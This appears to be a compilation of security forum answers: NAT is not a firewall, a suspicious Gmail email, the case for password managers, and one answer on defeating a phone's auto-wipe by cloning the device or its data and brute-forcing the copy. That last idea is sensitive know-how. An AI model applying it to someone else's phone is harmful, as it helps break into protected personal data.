NAT and firewalling are completely orthogonal concepts that have nothing to do with each other. Because some NAT implementations accidentally provide some firewalling, there is a persistent myth that NAT provides security. It provides no security whatsoever. None. Zero.

For example, a perfectly reasonable NAT implementation might, if it only had one client, forward all inbound TCP and UDP packets to that one client. The net effect would be precisely the same as if the client had the outside address of the NAT device.

Don't think that because most NAT devices have some firewalling built in by design or do some by accident that this means NAT itself provides any security. It is the firewalling that provides the security, not the NAT. The purpose of NAT is to make things work.

You must not assume a machine is not outside accessible just because it's behind a NAT device. It's not outside accessible if some device is specifically configured not to permit it to be accessed from the outside, whether that device does NAT or not.

Every machine having an outside address but with a stateful firewall that's properly configured, managed, and monitored is vastly superior to a cheap SoHo NAT box.

Many actual SoHo NAT boxes forward traffic to inside hosts despite no inside host having ever sent traffic to the source of the forwarded traffic. Permissive NAT does really exist.


One option: They can clone the whole system to a computer or another phone. After that, they will do the tries. After it wipes itself, they will clone it again.

Second option: If it is the data what is going on, they can copy it to a PC and crack it there. No wiping applies on that in this case ...


Strange messages from Gmail regarding my recovery email address changing

This is a suspicious email. I would suggest you check and analyze header of the email you recieved and verify if its sent from google. Also check IP of the sender.
Check this link for more info;  http://www.howtogeek.com/108205/htg-explains-what-can-you-find-in-an-email-header/


Does the average user really need a password manager?

Yes.

The average user should use long random passwords for every site. Passwords should not be repeated, passwords should not follow a discernible pattern. The compromise of any one password (e.g. your Adobe or LinkedIn login) must not be allowed to make it any easier for the attacker to guess your other passwords. These requirements make remembering passwords very nearly impossible. But that's not the primary reason why you should use a password manager.

The primary reason is that it reliably protects you against phishing attacks. A browser-integrated password manager will only fill in a site-specific password if you're actually visiting the correct site. So you won't accidentally type in your Paypal.com password into www.paypal.com.us.cgi-bin.webscr.xzy.ru. This is doubly true for average users, who on the average, rely on the general familiarity of a site to determine whether or not its legitimate (a terribly ineffective heuristic). Since you don't know your password, you can't type it in. Instead, it will only auto-fill if you're at the authentic site.

Use a browser-integrated password manager, don't get phished. It literally is that simple. Phishing is far more prevalent and serious a threat than password disclosure, anyway.